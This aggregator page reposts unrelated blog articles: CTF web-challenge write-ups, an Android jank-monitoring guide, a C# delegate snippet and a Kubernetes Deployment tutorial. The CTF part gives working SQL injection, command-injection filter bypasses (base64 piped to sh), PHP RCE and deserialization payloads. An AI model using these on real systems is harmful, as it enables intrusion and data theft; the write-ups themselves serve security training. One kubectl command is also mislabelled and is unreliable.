就有一个符号|| 当有一边为数字时 运算结果都为 true 返回1 使用 || 运算符,不在是做或运算 而是作为拼接字符串的作用 在oracle 缺省支持 通过 || 来实现字符串拼接,但在mysql 缺省不支持 需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能。 这个意思是在oracle中 || 是作为字符串拼接,而在mysql中是运算符。 当设置sql_mode为pipes_as_concat的时候,mysql也可以把 || 作为字符串拼接。 修改完后,|| 就会被认为是字符串拼接符 MySQL中sql_mode参数,具体的看这里 解题思路1: payload:,1 查询语句:select ,1||flag from Flag 解题思路2: 堆叠注入,使得sql_mode的值为PIPES_AS_CONCAT payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 解析: 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能。 flag出来了 头秃 不是很懂 看了好多的wp… [GYCTF2020]Blacklist 进入题目链接 1.注入:1’ 为'闭合 2.看字段:1' order by 2 确认字段为2 3.查看回显:1’ union select 1,2 发现过滤字符 与上面的随便注很像 ,太像了,增加了过滤规则。 修改表名和set均不可用,所以很直接的想到了handler语句。 4.但依旧可以用堆叠注入获取数据库名称、表名、字段。 1';show databases 获取数据库名称1';show tables 获取表名1';show columns from FlagHere ; 或 1';desc FlagHere; 获取字段名 5.接下来用 handler语句读取内容。 1';handler FlagHere open;handler FlagHere read first 直接得到 flag 成功解题。 flag{d0c147ad-1d03-4698-a71c-4fcda3060f17} 补充handler语句相关。 mysql除可使用select查询表中的数据,也可使用handler语句 这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不 具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中 [GKCTF2020]cve版签到 查看提示 菜鸡的第一步 提示了:cve-2020-7066 赶紧去查了一下 cve-2020-7066PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。 描述在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。 利用方法 总的来说也就是get_headers()可以被%00截断 进入题目链接 知识点: cve-2020-7066利用 老套路:先F12查看源码 发现提示:Flag in localhost 根据以上 直接上了 直接截断 因为提示host必须以123结尾,这个简单 所以需要将localhost替换为127.0.0.123 成功得到flag flag{bf1243d2-08dd-44ee-afe8-45f58e2d6801} GXYCTF2019禁止套娃 考点: .git源码泄露 无参RCE localeconv() 函数返回一包含本地数字及货币格式信息的数组。scandir() 列出 images 目录中的文件和目录。readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素,并输出。array_reverse()以相反的元素顺序返回数组。highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。 具体细节,看这里 进入题目链接 上御剑扫目录 发现是.git源码泄露 上githack补全源码 得到源码 <?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");} }else{die("再好好想想!");} }else{die("还想读flag,臭弟弟!");} }// highlight_file(__FILE__);?> 既然getshell基本不可能,那么考虑读源码 看源码,flag应该就在flag.php 我们想办法读取 首先需要得到当前目录下的文件 scandir()函数可以扫描当前目录下的文件,例如: <?phpprint_r(scandir('.'));?> 那么问题就是如何构造scandir('.') 这里再看函数: localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 这里还有一个知识点: current(localeconv())永远都是个点 那么就很简单了 print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv()))); 第二步:读取flag所在的数组 之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出 payload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); [De1CTF 2019]SSRF Me 首先得到提示 还有源码 进入题目链接 得到一串py 经过整理后 ! /usr/bin/env pythonencoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数,此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由,就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的,参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的,名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象,hexdigest()是获得加密后的16进制字符串 urllib.unquote() 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog,且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了:secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为:fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 就用到SSTI模板注入了 具体看这里 尝试模板注入: /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目: 1.tornado是一个python的模板,可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息,想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞,尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入: 查字段:1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表: [GXYCTF2019]Ping Ping Ping 考察:RCE的防护绕过 直接构造:?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格,使用拼接变量来拼接出Flag字符串: 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么:?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤: 继续构造payload: ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码,得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass,具体看这里 HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除空白符2.将某些字符转换为下划线(包括空格) scandir():列出参数目录中的文件和目录 发现/被过滤了 ,可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload: 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典,要带路径 -r 递归跑(查到一个目录后,重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道,如果password=100,username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时,属性个数的值大于实际属性个数时,就可以 2.private修饰符的问题 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover, 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法: flask session 伪造 具体,看这里 flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显: 1' uniunionon selselectect 1,2,3 over!正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接:https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 21:30:33
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...现类。 2、如果我们匹配到">>>>> Dispatching to "之后,我们就可以执行一行代码:也就是在指定的时间阈值之后,我们在子线程去执行一个任务,这个任务就是去获取当前主线程的堆栈信息以及当前的一些场景信息,比如:内存大小、电脑、网络状态等。 3、如果在指定的阈值之内匹配到了"<<<<< Finished to ",那么说明message就被执行完成了,则表明此时没有产生我们认为的卡顿效果,那我们就可以将这个子线程任务取消掉。 这里我们使用blockcanary来做测试: BlockCanary APM是一个非侵入式的性能监控组件,可以通过通知的形式弹出卡顿信息。它的原理就是我们刚刚讲述到的卡顿监控的实现原理。 使用方式: 1.导入依赖 implementation 'com.github.markzhai:blockcanary-android:1.5.0' Application的onCreate方法中开启卡顿监控 // 注意在主进程初始化调用BlockCanary.install(this, new AppBlockCanaryContext()).start(); 3.继承BlockCanaryContext类去实现自己的监控配置上下文类 public class AppBlockCanaryContext extends BlockCanaryContext {....../ 指定判定为卡顿的阈值threshold (in millis), 你可以根据不同设备的性能去指定不同的阈值 @return threshold in mills/public int provideBlockThreshold() {return 1000;}....} 4.在Activity的onCreate方法中执行一个耗时操作 try {Thread.sleep(4000);} catch (InterruptedException e) {e.printStackTrace();} 5.结果: 可以看到一个和LeakCanary一样效果的阻塞可视化堆栈图 那有了BlockCanary的方法耗时监控方式是不是就可以解百愁了呢,呵呵。有那么容易就好了 根据原理:我们拿到的是msg执行前后的时间和堆栈信息,如果msg中有几百上千个方法,就无法确认到底是哪个方法导致的耗时,也有可能是多个方法堆积导致。 这就导致我们无法准确定位哪个方法是最耗时的。如图中:堆栈信息是T2的,而发生耗时的方法可能是T1到T2中任何一个方法甚至是堆积导致。 那如何优化这块? 这里我们采用字节跳动给我们提供的一个方案:基于 Sliver trace 的卡顿监控体系 Sliver trace 整体流程图: 主要包含两个方面: 检测方案: 在监控卡顿时,首先需要打开 Sliver 的 trace 记录能力,Sliver 采样记录 trace 执行信息,对抓取到的堆栈进行 diff 聚合和缓存。 同时基于我们的需要设置相应的卡顿阈值,以 Message 的执行耗时为衡量。对主线程消息调度流程进行拦截,在消息开始分发执行时埋点,在消息执行结束时计算消息执行耗时,当消息执行耗时超过阈值,则认为产生了一次卡顿。 堆栈聚合策略: 当卡顿发生时,我们需要为此次卡顿准备数据,这部分工作是在端上子线程中完成的,主要是 dump trace 到文件以及过滤聚合要上报的堆栈。分为以下几步: 1.拿到缓存的主线程 trace 信息并 dump 到文件中。 2.然后从文件中读取 trace 信息,按照数据格式,从最近的方法栈向上追溯,找到当前 Message 包含的全部 trace 信息,并将当前 Message 的完整 trace 写入到待上传的 trace 文件中,删除其余 trace 信息。 3.遍历当前 Message trace,按照(Method 执行耗时 > Method 耗时阈值 & Method 耗时为该层堆栈中最耗时)为条件过滤出每一层函数调用堆栈的最长耗时函数,构成最后要上报的堆栈链路,这样特征堆栈中的每一步都是最耗时的,且最底层 Method 为最后的耗时大于阈值的 Method。 之后,将 trace 文件和堆栈一同上报,这样的特征堆栈提取策略保证了堆栈聚合的可靠性和准确性,保证了上报到平台后堆栈的正确合理聚合,同时提供了进一步分析问题的 trace 文件。 可以看到字节给的是一整套监控方案,和前面BlockCanary不同之处就在于,其是定时存储堆栈,缓存,然后使用diff去重的方式,并上传到服务器,可以最大限度的监控到可能发生比较耗时的方法。 开发中哪些习惯会影响卡顿的发生 1.布局太乱,层级太深。 1.1:通过减少冗余或者嵌套布局来降低视图层次结构。比如使用约束布局代替线性布局和相对布局。 1.2:用 ViewStub 替代在启动过程中不需要显示的 UI 控件。 1.3:使用自定义 View 替代复杂的 View 叠加。 2.主线程耗时操作 2.1:主线程中不要直接操作数据库,数据库的操作应该放在数据库线程中完成。 2.2:sharepreference尽量使用apply,少使用commit,可以使用MMKV框架来代替sharepreference。 2.3:网络请求回来的数据解析尽量放在子线程中,不要在主线程中进行复制的数据解析操作。 2.4:不要在activity的onResume和onCreate中进行耗时操作,比如大量的计算等。 2.5:不要在 draw 里面调用耗时函数,不能 new 对象 3.过度绘制 过度绘制是同一个像素点上被多次绘制,减少过度绘制一般减少布局背景叠加等方式,如下图所示右边是过度绘制的图片。 4.列表 RecyclerView使用优化,使用DiffUtil和notifyItemDataSetChanged进行局部更新等。 5.对象分配和回收优化 自从Android引入 ART 并且在Android 5.0上成为默认的运行时之后,对象分配和垃圾回收(GC)造成的卡顿已经显著降低了,但是由于对象分配和GC有额外的开销,它依然又可能使线程负载过重。 在一个调用不频繁的地方(比如按钮点击)分配对象是没有问题的,但如果在在一个被频繁调用的紧密的循环里,就需要避免对象分配来降低GC的压力。 减少小对象的频繁分配和回收操作。 好了,关于卡顿优化的问题就讲到这里,下篇文章会对卡顿中的ANR情况的处理,这里做个铺垫。 如果喜欢我的文章,欢迎关注我的公众号。 点击这看原文链接: 参考 Android卡顿检测及优化 一文读懂直播卡顿优化那些事儿 “终于懂了” 系列:Android屏幕刷新机制—VSync、Choreographer 全面理解! 深入探索Android卡顿优化(上) 西瓜卡顿 & ANR 优化治理及监控体系建设 5376)] 参考 Android卡顿检测及优化 一文读懂直播卡顿优化那些事儿 “终于懂了” 系列:Android屏幕刷新机制—VSync、Choreographer 全面理解! 深入探索Android卡顿优化(上) 西瓜卡顿 & ANR 优化治理及监控体系建设 本篇文章为转载内容。原文链接:https://blog.csdn.net/yuhaibing111/article/details/127682399。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-26 08:05:57
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...定义,只有那些签名相匹配的方法才能赋值给相应委托类型的变量。在文中提到的GreetingDelegate委托,其方法签名就是“接受一个string类型的参数且无返回值”,所以符合这一签名的所有方法都能与之兼容。
2023-10-05 16:02:19
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... Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则,key就是label的key,values的值是个数组,意思是标签值必须是此数组中的其中一个才能匹配上;- {key: app, operator: In, values: [nginx-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels: 这里的标签必须和上面的matchLabels一致,将他们关联起来app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建一个ReplicaSet 新建一个文件 rs.yaml,内容如下 apiVersion: apps/v1kind: ReplicaSet pod控制器metadata: 元数据name: pc-replicaset 名字namespace: dev 名称空间spec:replicas: 3 副本数selector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podtemplate: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 运行 kubectl create -f rs.yaml 获取replicaset kubectl get replicaset -n dev 2、扩缩容 刚刚我们已经用第一种方式创建了一个replicaSet,现在就基于原来的rs进行扩容,原来的副本数量是3个,现在我们将其扩到6个,做法也很简单,运行编辑命令 第一种方式: scale 使用scale命令实现扩缩容,后面--replicas=n直接指定目标数量即可kubectl scale rs pc-replicaset --replicas=2 -n dev 第二种方式:使用edit命令编辑rs 这种方式相当于使用vi编辑修改yaml配置的内容,进去后将replicas的值改为1,保存后自动生效kubectl edit rs pc-replicaset -n dev 3、镜像版本变更 第一种方式:scale kubectl scale rs pc-replicaset nginx=nginx:1.71.2 -n dev 第二种方式:edit 这种方式相当于使用vi编辑修改yaml配置的内容,进去后将nginx的值改为nginx:1.71.2,保存后自动生效kubectl edit rs pc-replicaset -n dev 4、删除rs 第一种方式kubectl delete -f rs.yaml 第二种方式 ,如果想要只删rs,但不删除pod,可在删除时加上--cascade=false参数(不推荐)kubectl delete rs pc-replicaset -n dev --cascade=false 2、Deployment k8s v1.2版本后加入Deployment;这种控制器不直接控制pod,而是通过管理ReplicaSet来间接管理pod;也就是Deployment管理ReplicaSet,ReplicaSet管理pod;所以 Deployment 比 ReplicaSet 功能更加强大 当我们创建了一个Deployment之后,也会自动创建一个ReplicaSet 功能 支持ReplicaSet 的所有功能 支持发布的停止、继续 支持版本的滚动更新和回退功能 配置模板 新建文件 apiVersion: apps/v1 版本号kind: Deployment 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: deployspec: 详情描述replicas: 3 副本数量revisionHistoryLimit: 3 保留历史版本的数量,默认10,内部通过保留rs来实现paused: false 暂停部署,默认是falseprogressDeadlineSeconds: 600 部署超时时间(s),默认是600strategy: 策略type: RollingUpdate 滚动更新策略rollingUpdate: 滚动更新maxSurge: 30% 最大额外可以存在的副本数,可以为百分比,也可以为整数maxUnavailable: 30% 最大不可用状态的 Pod 的最大值,可以为百分比,也可以为整数selector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [nginx-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建和删除Deployment 创建pc-deployment.yaml,内容如下: apiVersion: apps/v1kind: Deployment metadata:name: pc-deploymentnamespace: devspec: replicas: 3selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 创建和查看 创建deployment,--record=true 表示记录整个deployment更新过程[root@k8s-master01 ~] kubectl create -f pc-deployment.yaml --record=truedeployment.apps/pc-deployment created 查看deployment READY 可用的/总数 UP-TO-DATE 最新版本的pod的数量 AVAILABLE 当前可用的pod的数量[root@k8s-master01 ~] kubectl get deploy pc-deployment -n devNAME READY UP-TO-DATE AVAILABLE AGEpc-deployment 3/3 3 3 15s 查看rs 发现rs的名称是在原来deployment的名字后面添加了一个10位数的随机串[root@k8s-master01 ~] kubectl get rs -n devNAME DESIRED CURRENT READY AGEpc-deployment-6696798b78 3 3 3 23s 查看pod[root@k8s-master01 ~] kubectl get pods -n devNAME READY STATUS RESTARTS AGEpc-deployment-6696798b78-d2c8n 1/1 Running 0 107spc-deployment-6696798b78-smpvp 1/1 Running 0 107spc-deployment-6696798b78-wvjd8 1/1 Running 0 107s 删除deployment 删除deployment,其下的rs和pod也将被删除kubectl delete -f pc-deployment.yaml 2、扩缩容 deployment的扩缩容和 ReplicaSet 的扩缩容一样,只需要将rs或者replicaSet改为deployment即可,具体请参考上面的 ReplicaSet 扩缩容 3、镜像更新 刚刚在创建时加上了--record=true参数,所以在一旦进行了镜像更新,就会新建出一个pod出来,将老的old-pod上的容器全删除,然后在新的new-pod上在新建对应数量的容器,此时old-pod是不会删除的,因为这个old-pod是要进行回退的; 镜像更新策略有2种 滚动更新(RollingUpdate):(默认值),杀死一部分,就启动一部分,在更新过程中,存在两个版本Pod 重建更新(Recreate):在创建出新的Pod之前会先杀掉所有已存在的Pod strategy:指定新的Pod替换旧的Pod的策略, 支持两个属性:type:指定策略类型,支持两种策略Recreate:在创建出新的Pod之前会先杀掉所有已存在的PodRollingUpdate:滚动更新,就是杀死一部分,就启动一部分,在更新过程中,存在两个版本PodrollingUpdate:当type为RollingUpdate时生效,用于为RollingUpdate设置参数,支持两个属性:maxUnavailable:用来指定在升级过程中不可用Pod的最大数量,默认为25%。maxSurge: 用来指定在升级过程中可以超过期望的Pod的最大数量,默认为25%。 重建更新 编辑pc-deployment.yaml,在spec节点下添加更新策略 spec:strategy: 策略type: Recreate 重建更新 创建deploy进行验证 变更镜像[root@k8s-master01 ~] kubectl set image deployment pc-deployment nginx=nginx:1.17.2 -n devdeployment.apps/pc-deployment image updated 观察升级过程[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-deployment-5d89bdfbf9-65qcw 1/1 Running 0 31spc-deployment-5d89bdfbf9-w5nzv 1/1 Running 0 31spc-deployment-5d89bdfbf9-xpt7w 1/1 Running 0 31spc-deployment-5d89bdfbf9-xpt7w 1/1 Terminating 0 41spc-deployment-5d89bdfbf9-65qcw 1/1 Terminating 0 41spc-deployment-5d89bdfbf9-w5nzv 1/1 Terminating 0 41spc-deployment-675d469f8b-grn8z 0/1 Pending 0 0spc-deployment-675d469f8b-hbl4v 0/1 Pending 0 0spc-deployment-675d469f8b-67nz2 0/1 Pending 0 0spc-deployment-675d469f8b-grn8z 0/1 ContainerCreating 0 0spc-deployment-675d469f8b-hbl4v 0/1 ContainerCreating 0 0spc-deployment-675d469f8b-67nz2 0/1 ContainerCreating 0 0spc-deployment-675d469f8b-grn8z 1/1 Running 0 1spc-deployment-675d469f8b-67nz2 1/1 Running 0 1spc-deployment-675d469f8b-hbl4v 1/1 Running 0 2s 滚动更新 编辑pc-deployment.yaml,在spec节点下添加更新策略 spec:strategy: 策略type: RollingUpdate 滚动更新策略rollingUpdate:maxSurge: 25% maxUnavailable: 25% 创建deploy进行验证 变更镜像[root@k8s-master01 ~] kubectl set image deployment pc-deployment nginx=nginx:1.17.3 -n dev deployment.apps/pc-deployment image updated 观察升级过程[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-deployment-c848d767-8rbzt 1/1 Running 0 31mpc-deployment-c848d767-h4p68 1/1 Running 0 31mpc-deployment-c848d767-hlmz4 1/1 Running 0 31mpc-deployment-c848d767-rrqcn 1/1 Running 0 31mpc-deployment-966bf7f44-226rx 0/1 Pending 0 0spc-deployment-966bf7f44-226rx 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-226rx 1/1 Running 0 1spc-deployment-c848d767-h4p68 0/1 Terminating 0 34mpc-deployment-966bf7f44-cnd44 0/1 Pending 0 0spc-deployment-966bf7f44-cnd44 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-cnd44 1/1 Running 0 2spc-deployment-c848d767-hlmz4 0/1 Terminating 0 34mpc-deployment-966bf7f44-px48p 0/1 Pending 0 0spc-deployment-966bf7f44-px48p 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-px48p 1/1 Running 0 0spc-deployment-c848d767-8rbzt 0/1 Terminating 0 34mpc-deployment-966bf7f44-dkmqp 0/1 Pending 0 0spc-deployment-966bf7f44-dkmqp 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-dkmqp 1/1 Running 0 2spc-deployment-c848d767-rrqcn 0/1 Terminating 0 34m 至此,新版本的pod创建完毕,就版本的pod销毁完毕 中间过程是滚动进行的,也就是边销毁边创建 4、版本回退 更新 刚刚在创建时加上了--record=true参数,所以在一旦进行了镜像更新,就会新建出一个pod出来,将老的old-pod上的容器全删除,然后在新的new-pod上在新建对应数量的容器,此时old-pod是不会删除的,因为这个old-pod是要进行回退的; 回退 在回退时会将new-pod上的容器全部删除,在将old-pod上恢复原来的容器; 回退命令 kubectl rollout: 版本升级相关功能,支持下面的选项: status 显示当前升级状态 history 显示 升级历史记录 pause 暂停版本升级过程 resume 继续已经暂停的版本升级过程 restart 重启版本升级过程 undo 回滚到上一级版本(可以使用–to-revision回滚到指定版本) 用法 查看当前升级版本的状态kubectl rollout status deploy pc-deployment -n dev 查看升级历史记录kubectl rollout history deploy pc-deployment -n dev 版本回滚 这里直接使用--to-revision=1回滚到了1版本, 如果省略这个选项,就是回退到上个版本kubectl rollout undo deployment pc-deployment --to-revision=1 -n dev 金丝雀发布 Deployment控制器支持控制更新过程中的控制,如“暂停(pause)”或“继续(resume)”更新操作。 比如有一批新的Pod资源创建完成后立即暂停更新过程,此时,仅存在一部分新版本的应用,主体部分还是旧的版本。然后,再筛选一小部分的用户请求路由到新版本的Pod应用,继续观察能否稳定地按期望的方式运行。确定没问题之后再继续完成余下的Pod资源滚动更新,否则立即回滚更新操作。这就是所谓的金丝雀发布。 金丝雀发布不是自动完成的,需要人为手动去操作,才能达到金丝雀发布的标准; 更新deployment的版本,并配置暂停deploymentkubectl set image deploy pc-deployment nginx=nginx:1.17.4 -n dev && kubectl rollout pause deployment pc-deployment -n dev 观察更新状态kubectl rollout status deploy 